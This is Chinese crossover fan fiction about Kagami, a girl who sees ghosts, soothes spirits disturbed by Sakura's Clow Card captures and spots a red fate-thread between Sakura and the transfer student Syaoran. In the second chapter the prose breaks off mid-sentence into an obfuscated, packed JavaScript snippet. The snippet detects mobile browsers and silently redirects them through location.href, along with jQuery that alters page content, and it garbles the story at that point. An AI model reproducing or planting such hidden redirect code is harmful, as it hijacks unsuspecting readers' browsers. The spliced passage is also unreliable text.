《综漫之我身边的人好像都不太正常》 1. 我只想做个普通人 大道寺镜从记事起就看得见鬼魂。 但她从没跟任何人说过。 三岁那年,她指着院子里的晾衣架告诉妈妈“有个穿白衣服的姐姐在哭”。妈妈面不改色地把她抱起来,说那是晾着的床单。 镜那时候还不太会说话,但她已经足够聪明到看懂了妈妈的表情。妈妈没有在看晾衣架。妈妈在看院子里的某个方向——那个方向什么都没有,但她看了很久。 后来镜才知道,妈妈看不见。但妈妈知道她能看见。 因为妈妈的娘家在熊本县八原的山林里,那里有一座老神社,住着一位所有人都敬而远之的老妇人——镜的外婆,安倍信子。 安倍晴明的直系末裔。八原神社最后的神女。 五岁那年,镜指着山门说“那个独眼的大个子为什么一直瞪着我”。外婆看了一眼那个方向,语气平淡地说:“别盯回去就行。” 那时候镜还不知道什么叫“的场家的式神”,也不知道那个独眼大个子是某个除妖师家族遗失在外的咒具。外婆没解释,她也习惯了不追问。在外婆家,不该问的事比该问的事多得多。 七岁那年夏天,外婆带她去神社后院。 八原的夏天闷热潮湿,蝉鸣从早响到晚。镜穿着木屐走在石板路上,外婆走在她前面,步子很慢,腰背却挺得很直。后院有一棵老樟树,树荫底下有一座石灯笼,长满了青苔。鸟居的红漆已经剥落了大半,露出底下灰色的木纹。 一只黑猫蹲在鸟居下面。 它歪着头,用金色的瞳孔打量她。然后开口说话了。 “你就是这一代的小巫女?长得真慢。” 镜沉默了三秒。然后转过身,对着本殿的方向喊:“外婆——猫说话了——” 本殿里传来安倍信子不紧不慢的声音:“让它说。” 黑猫甩了一下尾巴,从鸟居下走出来,绕着镜转了一圈,像是在检查什么。它的毛色纯黑,在树荫下几乎和影子融为一体,只有那双金色的眼睛在发亮。 “你就这点胆子?你外婆当年第一次见到我娘的时候,说的是‘这猫会说话,能不能留下来干活’。” 镜认真地想了一下,蹲下来平视它。七岁的小孩和一只有她半条手臂长的黑猫,在夏日的树荫里互相审视。 “你是来干活的?” “我是来看着你的。”黑猫蹲坐下来,尾巴绕过来盖住前爪,姿态端正得像神社门口的狛犬,“神说的。” “哪个神?” 黑猫抬起前爪,指了指本殿的方向。格子门紧闭,里面没有任何动静。 “我叫胧。”它说,“Oburo。没有姓,不归任何人管。只是暂时被派来看住你。” 镜想了想,说:“胧——是朦胧的胧?” 黑猫的耳朵动了动,似乎对这个回答还算满意:“你认识字?” “认识一点。外婆教的。” “那就省事了。”胧站起来,往本殿的方向走了几步,然后回过头看她,“你外婆还教了你什么?” 镜想了想:“结界、送灵、分辨妖怪和幽灵。” “还有呢?” “她说我三岁的时候无意识地召唤了一只猫又。”镜顿了顿,“但我不是故意的。” 胧没有接话。它只是转回头,继续往前走。镜跟在它身后,两个人——不对,一个人和一只猫——一前一后穿过神社的后院。蝉鸣在头顶上炸响,太阳把石板路晒得发烫。 走到本殿侧门时,胧忽然停下来,抬起头看她。 “你怕不怕?” 镜低头看着它:“怕什么?” “怕你以后要管的事越来越多。”胧说,“你外婆是这一带最强的神女。你比她更纯。” 七岁的镜没有回答这个问题。 因为她还不懂“比外婆更纯”意味着什么。 那天晚饭的时候,胧已经盘在镜脚边,吃掉了她分给它的半条烤鱼。外婆看了一眼,什么都没说。 等镜把碗筷收拾好回来,外婆正坐在走廊上,手里端着一杯茶。月光把院子里的砂石地照成灰白色,老樟树的影子铺了大半个院子。 “这猫从你出生那天就在等了。”外婆说。 镜在她身边坐下:“等我的灵力?” “等你的名字。”安倍信子把茶杯搁在膝上,侧过头看着外孙女,“神社的镜子在你出生那天映出了一道光。神主说,这个孩子和镜子有缘。后来你妈妈给你起名叫镜——Kagami,写镜子的镜——是你自己选的。” 镜低头看了看自己脖子上挂着的护身符。 那是外婆在她三岁时给她的——一面小小的圆镜,平时贴在胸口,冰冰凉凉的,和普通的饰品没什么区别。镜面是灰白色的,照不出任何东西。她问过外婆这是什么材质做的,外婆只说“不是玉,不是琉璃,不是你可以猜到的任何东西”。 外婆还说过一句话:“这面镜子,是一个很久以前的巫女留给你的。她叫桔梗。” 镜问:“她为什么留给我?” 外婆沉默了一会儿,月光把她满是皱纹的脸映得很柔和。然后她说:“因为她觉得,未来的某一天,会有一个和她一样的人需要它。” 那是另一个故事了。后来的镜还需要很多年才能完全理解这句话的含义。 但三岁的镜并不需要理解。她只需要照做——这面镜子不能被别人看见,要一直贴身带着。她从三岁起就一直带着,洗澡也不摘。 外婆说,这叫“魂缘之镜”。 镜不知道自己是不是真的明白这个词的意思。但她每次把镜子贴在胸口时,都能感觉到一种微弱的、不属于自己的温度。像有另一个人隔着很远的距离,在安静地呼吸。 她从来没有和任何人说过这种感觉。连外婆也没有。 上小学那年,老师在花名册上念到她的名字。 “大道寺镜——大道寺?是那个大道寺吗?” 后排有人小声嘀咕。镜站起来,走到黑板前,拿起粉笔,一笔一画写下自己的全名。然后转身,平平淡淡地开口。 “读作Daidōji Kagami。だいどうじ かがみ。没有别的念法,也不用拆开念。就这样。” 老师低头在花名册上写了几笔。镜回到座位上,同桌的女生转过头来小声说:“你名字好特别啊,镜——就是镜子吗?好有意思。” 镜点了点头。 她不知道这个女生叫什么。但她后来知道了——她叫木之本樱,住在隔壁那条街,爸爸是大学教授,哥哥在读高中,家里地下室里还藏着一本会发光的书。 不过这都是后话。 刚上小学那会儿,镜的生活还很平静。每天和堂姐知世一起上下学,偶尔和附近的孩子们一起在公园里玩。知世的妈妈会烤很好吃的蛋糕,每次镜去她们家,都会单独给她多切一块。桃矢有时候来接小樱,会在公园门口站一会儿,确认三个女孩都在视线范围内再走。 镜在友枝町的生活,和她认识的任何一个同龄女孩都没有区别。 她上课听讲,下课写作业,考试考中上。老师对她的评价是“安静、认真、不太爱说话”。同学们觉得她有点冷淡,但也不难相处。如果有人主动找她借橡皮,她会借。如果有人在她面前摔倒,她会伸手拉一把。 她只是不太主动交朋友。 因为她有自己的秘密。 她能在走廊尽头看见低年级教室门口蹲着的、不属于这个学校的小男孩幽灵。能在图书馆最里面那排书架之间看见一个反复找同一本书的老人。能在音乐教室没人的时候听见一架没人弹的钢琴在响。 后来她才知道,那架钢琴是她入学前一年,一个六年级女生最后一次弹过的。那个女生毕业那天出了车祸,没有再来过学校。但她弹的那首曲子——巴赫的《G小调小步舞曲》——一直留在那个教室里,反复地、安静地响 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她可以在东京做一个普通的小孩,把所有不该看见的东西收进胸口的小镜子里。到了寒暑假再回八原放掉。外婆给她蒸一碗鸡蛋羹,胧盘在她脚边吃掉半条烤鱼,山里的风把神社的铃铛吹响。什么都不用解释,什么都不用隐藏。 在八原的暑假里,她是安倍信子的外孙女,是神社的下一个继承人,是一个天生就能看见彼岸的小巫女。 在友枝町的日常里,她是大道寺镜,是一年级到四年级都没惹过麻烦的普通小学生,是知世安静的同伴,是小樱偶尔借她橡皮的人。 镜觉得这个双重身份她管理得很好。她曾经以为这个节奏可以一直维持下去。 直到四年级那年的某天放学后。 四月末,院子里的杜鹃花开得正盛。镜在自己房间里做作业,胧趴在窗台上,尾巴有一搭没一搭地扫着窗玻璃。暮色还没完全落下来,天空是淡紫色的。 然后胧忽然抬起了头。 镜也感觉到了。她放下笔,走到窗边。 不是什么爆炸。不是巨响。而是一种更深层的震颤——整个友枝町的灵脉像是被一块石头砸进水里,一圈一圈的波纹正从木之本家的方向往外扩散。缘线在抖动。地脉在抖动。所有安静的、已安息的、正在沉睡的灵体都被惊动了。 镜在胸口感觉到了魂缘之镜的震颤。不是恐惧,是回应。 “库洛牌。” 一个声音说。温和的、清澈的,从镜的胸口传来,像在书房里翻开一页旧书。 镜愣了一下:“桔梗大人?” “古老的魔法卡牌。我曾经感应过类似的波动。魔力极强,但没有善恶。”桔梗的声音停了一下,“那个释放它们的孩子,大概也不知道自己在做什么。” 镜站在窗前,看着木之本家的方向。小樱的房间亮着灯,窗帘是粉色的。 胧甩了甩尾巴,从窗台上跳下来,落在镜脚边。 “你打算管?” 镜沉默了很久。 风从窗户缝里灌进来,带着杜鹃花的味道。远方的灵脉还在轻轻震颤,像是有人在看不见的地方敲了一下巨大的钟。 “不想管。”她说。 “但你得管。”胧说,“因为整个町的灵都在害怕。你不去安抚,会有东西被吓出来。” 镜没有说话。她只是把窗帘拉上,转身走回了书桌前。 “明天再说。” 胧发出一声疑似嘲讽的鼻息。 但镜知道,她骗不了任何人。骗不了胧,骗不了外婆,骗不了胸口的魂缘之镜。也骗不了那个叫桔梗的巫女,从五百年前的战国时代就开始看着她。 她只是想做普通人。 ——这个愿望,从明天开始,大概就不会实现了。 2. 善后 第二天早上,镜醒过来的时候,胧正蹲在窗台上,尾巴垂下来扫着窗玻璃。阳光已经铺满了半个院子,杜鹃花的气味从窗缝里挤进来,和早饭的酱汤味混在一起。 “你昨晚没去。”胧说。不是质问,是陈述。 镜把被子拉上来盖住脸。 “今天去。” 胧发出一声短促的、说不清是赞同还是嘲讽的响动。她从床上坐起来,把头发胡乱扎成低马尾,穿上校服。桌上放着早饭和一张便条——妈妈留的。 便条上写着:早饭在桌上,妈妈今天有策展会,晚上回来。爸爸周五从名古屋回来,给你带伴手礼。末尾画了一个歪歪扭扭的笑脸。 镜把便条折好放进抽屉里,和之前攒的那叠便条放在一起。最早的那张是她刚上小学那年,妈妈在上面写着“饭在锅里,妈妈去上班了”,末尾也有一个笑脸。四年了,笑脸的弧度越来越歪,因为妈妈画的时候从来不用橡皮——她说便条又不是美术馆的策展文案,不用改。 镜的妈妈叫大道寺环,在东京都美术馆做策展人。这份工作让她每天早出晚归,但她的便条从不缺席。环是那种会在便条上画笑脸、但从来不在女儿面前说“妈妈很辛苦”的人。她看不见幽灵,不知道库洛牌是什么,但每次镜从八原回来,她都能从女儿脸上读出哪几天灵力消耗太大,然后默默把晚饭换成不用费劲嚼的粥。 镜的爸爸叫大道寺正和,建筑设计师。这份工作意味着他一年里有三分之一的时间在出差。嫁给正和那天,环就知道这个人的一辈子都会耗在图纸和工地之间。但她还是嫁了。因为正和在求婚时说了一句“你不必放弃工作,我的设计不用改,你的策展也不用改”。两个都把毕生力气耗在各自事业上的人,达成了一种非常务实的互相尊重:环从不抱怨正和出差太多,正和从不要求环少加班。他们唯一的共同让步,是把家安在友枝町。 以及——正和放弃了对大道寺财阀的继承权。这事他从不在镜面前提,镜是从知世那里听来的。但镜能看出来:爸爸每年去本家参加家族聚会时,穿的是同一套深灰色西装,和那些从银座定制西服的堂兄弟们站在一起,一看就不是同一条流水线上的人。不过爸爸本人似乎完全不在意这件事——他更在意的是他下次出差回来,女儿还记不记得他。 镜吃早饭的时候,胧从窗台上跳下来,落在餐桌旁边。 “那个方向,昨晚又震了一次。”胧说,“大概凌晨两点,比傍晚那次轻。是移动的,像是在追什么东西。” 镜放下筷子:“多远?” “不在町内。但也跑不太远。估计是追着追着又被收了一张。” 镜沉默了一会儿,把最后一口饭团塞进嘴里。她大概知道是怎么回事了。她的邻居木之本樱——那个每天背红色书包上学、吃面包会掉屑、被老师点名会脸红的女孩——大概每个月都有那么几天,在半夜追着几张会飞的卡片满町跑。 而整个友枝町的灵体,大约每周都要被吓醒至少两次。 “走吧。”镜拿起书包,“再不去,今晚会有东西找上门。” 胧从椅子上跳下来,跟着她走到玄关。镜弯腰系鞋带的时候,胧忽然开口:“你打算怎么跟那个释放魔力的小孩说?” “不说。”镜把鞋带系好,“她不知道我能看见。” “那你怎么善后?” “和以前一样。安抚被吓到的,送走不想走的,让该成佛的成佛。” “你每次说‘和以前一样’,最后都不太一样。” “因为每次被吓到的东西都不一样。”镜拉开门,“风牌吓树精,水牌吓河童,火牌吓谁都不奇怪。我只想知道下次会是什么——万一是雷牌,我还得提前把耳朵捂上。” 胧的耳朵转了转:“你什么时候变得这么会吐槽了。” “跟你学的。” 四月的风迎面扑来,带着杜鹃花和青草的味道。远处有一棵银杏树,树叶在晨光里泛着淡绿色的光泽。树下蹲着一个老人灵体——不是怨灵,不是地缚灵,只是一个每天习惯在同一个地方坐一坐的老太太。今天她没坐着,缩到了树干背后,只露出半个肩膀。 镜从她身边走过去时,老人抬起头看了她一眼。没有开口。但镜听到了她未说出口的话:昨晚那是什么。 镜微微摇了摇头。不是我做的。但我会查。 老人把脸重新埋进膝头。 到了学校门口,镜还没跨进校门,就听见身后传来一阵急促的脚步声和小跑的喘气声。 “镜!早上好!” 镜转过身,看见木之本樱正朝她跑过来,书包在背后颠得啪啪响,面包从左手换到右手,又从右手换回左手——大概是因为太烫了。她的脸上是那种每天都一模一样的、像是被阳光充满电的笑容。 “早上好,小樱。”镜说。 小樱跑到她面前,稍微弯下腰喘了口气,然后抬起头看她。她的眼睛亮晶晶的,像在确认镜今天心情好不好、昨晚有没有睡够、会不会跟她说一句“我没事”。 镜被她看得有点受不了,伸手轻轻拍了拍她的头顶。 “面包要掉了。” 小樱低头一看,面包果然已经从纸袋里探出来半边。她赶紧把它捞回来,嘿嘿笑了一声,完全没有不好意思的意思。 “镜今天好早!平时不是都踩点到吗?” “今天早点出门。” “哦哦——那中午一起吃便当吗?知世说她今天带了三明治,让我叫你一起——” “好。” 小樱笑得更开了些,朝她挥挥手跑进校门。镜看着她跑远的背影,心想:就是这个。这位每天早上用一百倍能量跟她打招呼的邻居,就是昨晚把整个友枝町灵脉震得东倒西歪的当事人。而她浑然不觉。她大概只记得昨晚收了一张牌很辛苦,完全不知道自己在追牌的过程中顺带吓哭了三个幽灵、两个地缚灵和一只从八原跑过来做客的迷路小妖。 镜在心里默默把昨晚被惊扰的灵体名单更新了一遍,然后往教室走。 走廊上,另一个声音叫住了她。 “镜。” 这个声音不紧不慢,不高不低,带着温温柔柔的语调。镜不用回头就知道是谁。 大道寺知世站在走廊边上,手里抱着一个小布包。她的头发今天编成两条麻花辫,用淡紫色的丝带扎着,整个人看起来像从四月日历上走下来的一幅插画。 “早上好,知世。”镜停下脚步。 “早上好。”知世走到她身边,目光在她脸上停了片刻,然后微微一笑,“昨晚没睡好?” “还好。” 知世没有追问。她把手里的小布包打开,从里面拿出一个用保鲜膜包好的纸杯蛋糕,递给镜。 “昨天试的新配方。这个是没放糖的,你上次说甜的吃多了会困。” 镜接过蛋糕。纸杯蛋糕的底部还微微泛着余温,保鲜膜内侧凝了几滴细小的水珠。她低头看了看蛋糕,又抬头看了看知世。知世没在看她,正低头重新系好布包的绳子。她的动作很认真,好像包好一个布包是世界上最重要的事。 “谢谢。”镜把蛋糕放进书包侧袋里。 “不客气。”知世把布包抱回怀里,侧过头看着她,目光里带着一点只有她们之间才懂的了然,“今天有什么要帮忙的吗?” 镜知道她问的不是功课,不是值日,不是美术课要带的材料。 “暂时没有。”镜说,“先上课。” “好。”知世没有多问。她从来不多问。但每次镜在放学后忽然说“有点事”时,她都会安静地点点头,让镜走。然后在第二天早上,多带一块不那么甜的蛋糕。 两个人一起走进教室。小樱已经在座位上坐好了,看见她们进来,远远地挥了挥手。镜走到自己靠窗的座位坐下,把书包挂好,拿出课本,看一眼窗外。樱花树正对着窗户,花瓣已经落了大半,剩下的几簇在枝头上摇摇晃晃。树下站着那个天台上的男孩幽灵——今天他来了。镜放心了一点。然后她把目光收回来,把上课用的笔记本翻到最后一页,写下今天的善后清单。 字数不多。只是为了记清楚—— 1. 银杏树下老太太,被风牌吓的。今晚去送一下。 2. 音乐教室新曲子。去听。 3. 天台小男孩,确认还在。 4. 八原方向那道裂口,胧已经结了疤,再去看一下。 5. 老树精,还在抖。需要一次正式安抚。 她写完,把笔放下,看了看这五行字。然后又补了一行: 1. 小樱今晚要是再收牌,明天这清单就得重写。 ——算了。不重写也行。反正她会去做的。 上课铃响了。镜把笔记本合上,翻开课本。 窗外樱花树上的花瓣又落了一片。树下的男孩朝她挥了挥手,然后消失了。她微微点了下头,算是回应。然后她用只有自己能听见的声音说了一句:“行了。上课。” 中午,教室里的课桌被拼成几个小方块,同学们三三两两坐在一起吃便当。镜把小桌板擦干净,打开自己的便当盒。环今天给她带的是煎三文鱼、玉子烧和小番茄,旁边的格子里塞了一小撮腌萝卜。她把草莓牛奶拿出来搁在桌角,正要拆筷子,余光忽然瞥见门口闪过一道棕色的人影——紧接着是小跑过来的脚步声。 “镜——!” 镜的筷子停在半空中。倒不是被吓到,而是小樱每次用这个语气喊她的名字,接下来都会发生一些不太可控的事情。 小樱抱着便当盒冲到镜前面,把盒子往她桌上一放,自己拉了个椅子在旁边坐下。她身后的知世也端着便当走过来,不紧不慢地坐下,把自制的三明治分成三份,一份给镜,一份给小樱,一份留给自己。 “镜的便当总是好丰盛!”小樱凑过来看她的便当盒,眼睛亮得不像话,“三文鱼!阿姨做饭也太厉害了吧!” “我妈只会把菜园里剩的煮一煮。”镜夹起一块玉子烧,递到小樱面前。 小樱啊呜一口吃掉,腮帮子鼓鼓的:“好吃!——不对不对,你刚才是不是在说阿姨坏话?” “我只说她会把剩下的煮一煮,没说煮得不好吃。”镜把草莓牛奶拧开,喝了一口。 小樱歪着头看镜的脸看了好一会儿。镜被她看得发毛,停下来回看她:“怎么了。” “镜今天下午有时间吗?”小樱说。 “有。” “那放学我们一起回家吧?知世说今天要去录像,但我一个人回去路上会怕怕的……”小樱顿了顿,似乎不太好意思地笑了笑,“因为昨晚总是在想那张牌的事。” “可以。” 镜用筷子指了指自己的便当盒,示意自己还没吃完饭。但她看见小樱的表情一下子就松弛了,嘴角扬起来的弧度和她早上跑过来打招呼时一模一样——亮晶晶的,被阳光充满电的样子。镜在心里默默地放弃了自己一直在“放松和保持距离”之间反复跳转的自我要求。 反正小樱也不知道。反正她每天都会这样凑过来。反正镜也没有真的想躲。 知世在旁边安静地看着她们俩,然后把第二份三明治推到镜手边:“今天没放糖。” “我知道。”镜拿起三明治咬了一口。 下午放学后,镜没有直接从正门走。她在楼上收拾好书包,把笔记本翻开对着清单做了几笔记号,然后沿着走廊拐进音乐教室的方向。 她需要先处理几个小的。 音乐教室的门没锁。黄昏的光从窗户斜斜地照进来,把谱架拉成长长的影子。钢琴盖着防尘布,琴凳上空无一人。镜走进去,在琴凳上坐下来,没有掀开防尘布,只是把手放在琴盖上。 琴盖上残留的灵体气息很淡。很快,音乐教室角落里,一个淡白色的光点缓缓浮现——那是弹过这首曲子的少女,毕业那天出了意外的六年级生。她今天没有弹巴赫。镜仔细听了一下:旋律比小步舞曲慢得多,不是巴赫,像是某个她不认识的练习曲。 镜坐在那里听完整首。 “新曲子?”她问。 少女轻轻点了一下头。然后她抬起手指,指向窗外友枝小学后方的方向。 “你知道昨晚那个气流是谁造成的?” 少女生前的记忆应声响起:她从琴凳上转过头,指尖从窗台向下指,看着昨晚库洛牌消失的方向。她摇了摇头,不是责备。只是告诉镜:她昨晚想过去安抚那几个被吓到缩在台阶下的灵魂了,但她自己也被魔力搅得头晕,只能先稳住自己。 “谢谢你帮我分担。今晚我去帮那几位。”镜说。 少女微微笑了一下,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536077|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后重新把手指放回琴键上,继续弹那首镜不认识的练习曲。 从音乐教室出来,镜又绕到天台。天台上的小男孩还在,正蹲在铁栅栏边上看着校门口的方向。他看见镜推门进来,往后缩了一下,然后仔细看了一眼是镜,又慢慢蹲了回来。 “我以为你不来了。”小男孩说。 “昨晚睡得着吗。” “没睡着。”他把脸埋在膝头,“风牌呼啸而过的时候,我感觉整个人像要被吹没了。” “现在还在吗。” “还在。”他慢慢摊开手掌,看了看自己的手,好像不明白为什么还在。 镜在他旁边蹲下来:“吓到了就会缓解的。明早我来叫你去看日出。” “那你现在去哪儿?” “银杏树。还有树精。还有地下的。” 小男孩用另一只手指了指地下:“我早上感觉到它抖醒了。” “那我再往下走一层,帮它安神。” 小男孩仰脸看她:“你不怕吗?” 镜想了想,说:“我带了猫。” 胧不知什么时候已经蹲在天台门口,甩了一下尾巴。 走到楼下时,镜终于看到那棵银杏树。不出她所料,银杏树下的老人还在。她靠坐在树干背后,身体微蜷,像一截低矮的树根。镜走到她面前蹲下来,把胧从肩上放下来放在旁边,然后轻轻拍掉老人肩上的银杏叶。 “风牌走的时候,你被吹到了?” 老人抬起眼睛看着她。那是一双雾蒙蒙的、没什么力气的眼睛。但声音传过来,落在镜的意识里,很轻,却很清晰:她说,那道风把她和对面街区一位同样守了多年银杏树的老妇人之间最后的那根缘线吹断了。 镜低头看了一下自己的手掌。 “那道线在哪里。” 老人用下巴指了指远处:在围墙转角那边的电线杆下。镜站起来走过去,胧跟在后面。在电线杆下方,那道断掉的老缘线已经快要消失了,只剩下一小截残存的白色丝线正在地面上渐渐隐没。镜蹲下来,把手放在那仅仅还剩几缕的丝线上。不是捆,不是扯。她只是轻轻捏住两头,让它们来碰她。 然后她把灵力渡进去。不是修复残缺,是搭桥——渡老妇人之间的记忆与关念,让对方知道彼此都还在。她不会替人把缘线“缝回来”。不能,也不该。她只是做她的镜面。 缘线的两段在她指尖重新叠接到一起,发出极轻微的感应嗡鸣,随即消失。老人从银杏树下站了起来,朝镜点了点头,眼中泪光一闪。然后她慢慢转过身,朝对面街走去。她要自己去续那根线了。 镜站起来,拍了拍膝盖上的灰。银杏叶落下来一片,落在她肩头,又滑下去。 “你每次做完事都这样。”胧说。 “怎么样。” “不笑也不说话。就站在那里。” “那是你说的第四只魂,已经处理完了。”镜把叶片放回银杏树下的泥土上,“下一只。” 天快黑的时候,镜走到友枝小学后面的风道——昨天小樱收风牌的地方。这里是一小片围起来的空地,旁边是通往后山的水泥台阶。镜站在台阶最下面,没有走上去。空气里残留着一丝魔力的痕迹,不是库洛牌本身,而是被魔力搅动后又重新沉淀下来的灵脉残余。她把手放在台阶扶手上,闭上眼睛。 不是怨灵。不是妖怪。只是安静的气流,因为昨晚的牌而发了很久的抖。 她帮它沉定下来。然后回家。 路灯亮起来的时候,胧跃上院墙。镜推开自家院门,站住脚,深深吸了一口气。院子里的杜鹃花还在开。玄关亮着灯,光透过纸门撒在走廊上,在昏暗的廊道里看起来像一片薄薄的月亮。 门口摆着爸爸的鞋。是那双穿了很多年的深灰色皮鞋,鞋底磨得一边薄一边厚,放在玄关灯下,和她早上出门时看到的拖鞋并排摆在一起。 镜换了鞋走进客厅。大道寺正和正坐在沙发上翻报纸,茶几上放着一个纸袋子和一杯还冒着热气的咖啡。他穿着一件洗得有些发白的衬衫,领口没系扣子。看到镜进来,他把报纸放下,弯了弯嘴角:“长高了。” 镜走过去在他旁边坐下。正和把手边的纸袋子推过来——里面是两盒名古屋特产米粉糕,一个绿色包装一个粉色包装,便利店收据还贴在袋子上。镜低头看了看收据。名古屋站内便利店,十分钟前。 “你刚才到家?” “新干线晚点了。”正和端起咖啡喝了一口,“差几分钟没接到你放学。下次早点买。” 镜没有说“你不用赶”。她只是把米粉糕拿出来,拆开绿色那盒咬了一口。 “明天周末。”正和说,“想吃什么?” “都可以。” “都可以是什么。” “都可以就是都可以。” 正和看着她,轻轻拍了一下她的后脑勺:“行。你做作业,我去做饭。” 镜拿着米粉糕站起来,走进自己房间。胧已经从窗户跳进来了,正蹲在书桌上,尾巴绕过来盖住前爪。桌上摊着她的笔记本,翻到善后清单一页,最后两行没打钩。 “你爸回来了。”胧说。 “看见了。” “今天的善后做完了?” “做完了。”镜把窗帘拉上,在书桌前坐下来,拿起笔。音乐教室新曲子——听过,确认少女没受伤。天台小男孩——还在,今早会去叫他。八原方向裂口——胧结的疤稳定。老树精——需要再去一次。银杏树下老太太——送走。风道残余——已沉定。 她把最后两行也勾掉。 然后翻开新日记本写下明日的工作计划。写完,她把笔放下,看了那几行字很久。 名单终有一天会变长。她知道。 但她明天要做的第一件事,还是和往常一样——先去上学。然后在课间吃一块知世带的蛋糕,中午把妈妈做的便当分一半给小樱,下午在天台上听一首已经没人能弹的曲子。 然后再去看看那棵银杏树。 窗外的月亮还是老样子。胧已经睡着了,尾巴盖着鼻子,呼吸很均匀。镜把被子拉上来盖住肩膀,闭上眼睛。胸口那面小镜子安静地贴着她,温度暖得刚刚好。 她在心里说:晚安,桔梗大人。 过了一会儿。 晚安,镜。 3. 李小狼 李小狼转学来的那天,友枝町下着小雨。 不是那种倾盆的、痛快的暴雨,是四月特有的、细得几乎看不见的雨丝,落在脸上凉凉的,不打伞会觉得烦,打了伞又觉得不值。 镜撑着伞走到校门口,胧没有跟来——它说这种天气出门等于免费洗澡,不如留在家里替镜补昨晚没做完的结界维护。镜让它去了。反正今天学校没有灵脉异常的报告,多一只猫在房顶上巡逻也不影响什么。 她在鞋柜前换鞋的时候,听见走廊尽头传来一阵压低了声音的窃窃私语。几个女生凑在一起,话题的关键词断断续续飘过来——“转学生”、“香港来的”、“男孩子”。 镜没有凑过去听。她把伞收好,甩了甩伞面上的水珠,往教室走去。 四月是转学生的季节。换作平时,这件事和镜没什么关系。一个转学生从香港来、从东京来、从任何地方来,都不会让她的善后清单变长或变短。她只需要继续每天放学后安抚被库洛牌惊扰的灵体,继续假装自己只是个普通的小学生。 她在自己的座位上坐下,把课本拿出来,翻开,然后侧过头看了一眼窗外。雨丝打在窗玻璃上,一道一道往下淌。窗外那棵银杏树在雨里站得很安静,树下没有人。 “镜——早上好!” 这个声音准时出现了。镜转过头,看见木之本樱正站在她桌子旁边,书包还没放下,脸上带着一种每天早上都像是被阳光充满电的笑容。她今天手里多了一个小小的便当盒,外面裹着粉色的风吕敷。 “早上好。”镜说。 “镜你看!今天我自己做的玉子烧!”小樱把便当盒举到她面前,表情像一个刚完成期末发表的小学生——事实上她也确实是。“虽然有点焦——你看这边,这个角是不是有点黑?但是知世说第一次做已经很厉害了——” 镜看了一眼那块玉子烧。确实有点焦。但她没来得及说“给我尝一下”,因为她的余光忽然被什么东西拉走了。 教室的门被拉开了。 班主任寺田老师走进来,拍了拍手示意大家安静。他身后跟着一个人。 一个少年。穿着友枝小学的制服,领口扣得整整齐齐。深棕色的短发,眼角微挑,脸部线条偏尖,肤色比班上的男生偏深一个色调。他站在讲台前,背挺得很直,书包双肩背着,拉链拉到头。 “大家好,”他说,声音不大,但吐字很清,“我叫李小狼,从香港来的。请多关照。” 日语很标准,带了点微不可察的中文口音,每个音节都咬得很准,像是预先背诵过很多遍。他的目光在教室里扫了一圈。漫不经心地扫过第一排,扫过第二排,然后停住。 小樱。 那道目光停在小樱脸上,停了一拍。不是打量新同学的眼神,也不是害羞的偷看。是确认——确认这个人是不是他要找的对象。 小樱正举着她的便当盒,和镜分享她第一次做玉子烧的成绩。她完全没注意到自己被盯上了,还在小声说“下回我放少一点盐”。 镜没在听小樱说什么。 因为她看见了一根线。 红色。极为纤细,却异常清晰。从小樱的胸口穿出来,另一端准确无误地连到那个香港转学生的身上。 不是黑色的。怨灵身上的是黑色,黏腻的,像被拖长的污泥。不是白色的。幽灵身上的是白色,半透明的,像晨雾里断掉的蛛丝。不是浅蓝的、淡粉的、柔黄的——普通人之间的缘线大多是这样,飘飘忽忽,像被水稀释过的水彩颜料,被风一吹就会歪。 这根不一样。不是一根漂浮不定的线,而是两根——一根从小樱那头伸出来,另一根从他身上伸出去。两根线正缓慢地、试探性地靠近彼此,像两根刚从泥土里探出来的新芽,还没缠在一起。 镜眨了眨眼。 “镜?你怎么了?”小樱歪着头看她,“表情忽然变得好严肃。” “没事。” 镜收回目光,把课本翻到下一页。但她的脑子没在课本上。 外婆说过,红线是极少出现的缘线品种。它不是现世的缘分,不是“今天一起吃了便当所以多了一根线”的那种浅层羁绊。它要深得多,也远得多,带着某种连往生都无法完全切断的东西。 安倍信子还说:如果你哪天看到了红线,不用急着去动它。红线不需要巫女去结,它会自己长。 ——但您没说,这东西竟然会出现在两个小学四年级学生身上。 “镜,你是不是没睡好?”小樱还没走,端着便当盒站在她桌子旁边,凑近了看她的脸,“你今天早上吃了什么?” “……煎鱼。” “哦!那就好!”小樱弯起眼睛笑了一下,跑回自己座位上。 镜看着她跑过去经过李小狼的座位——两个人对视了一眼。只一眼。 那根红线颤了一下。 上午的课很安静。 小樱在听课,做笔记,中间被寺田老师叫起来回答了一个数学题。李小狼坐在她后排,全程没说话,但每隔三分钟,他的视线就会越过桌面,落在小樱的侧脸和后颈上。 小樱每次被盯超过十秒,后背就会微微僵一下,然后假装不经意地侧过头,用余光去瞥那个从香港来的少年。她在偷看他。她在偷看他有没有在偷看她。 镜用笔在本子上写了几个字:你俩不看彼此会怎样。 然后她把这行字划掉了。 因为答案大概是“会死”。 ——不,不是会死。是会一直这样互相偷看下去,一个假装在找铅笔,一个假装在看黑板,然后那两根红线就会在没人注意到的时候慢慢往对方身边挨。她已经看到它们在挨近了。 午休的时候,镜和平时一样在教室里吃便当。小樱搬了椅子挤到她旁边,把自己的便当盒打开——玉子烧果然有点焦,但小樱似乎完全不在意这种事,夹了一块塞进嘴里,腮帮子鼓鼓的。 “镜,你觉得那个转学生怎么样?” 镜的筷子停了一下:“什么怎么样。” “就是——他好像一直在看我。”小樱压低了声音,偷偷往李小狼的方向看了一眼,然后又飞快地收回目光,“你说他是不是——是不是觉得我很奇怪?” “为什么。” “因为——”小樱凑近镜的耳朵,“我今天早上跟他打招呼,他没有回我。他只是一直盯着我看。” “也许他看所有人都这样。” 小樱歪了歪头,似乎觉得这个解释很合理,但还是不太满意:“可他看我的时候和其他人不太一样。我说不清楚。” 镜咬了一口煎鱼,嚼完吞下去才开口:“你觉得是怎么不一样。” 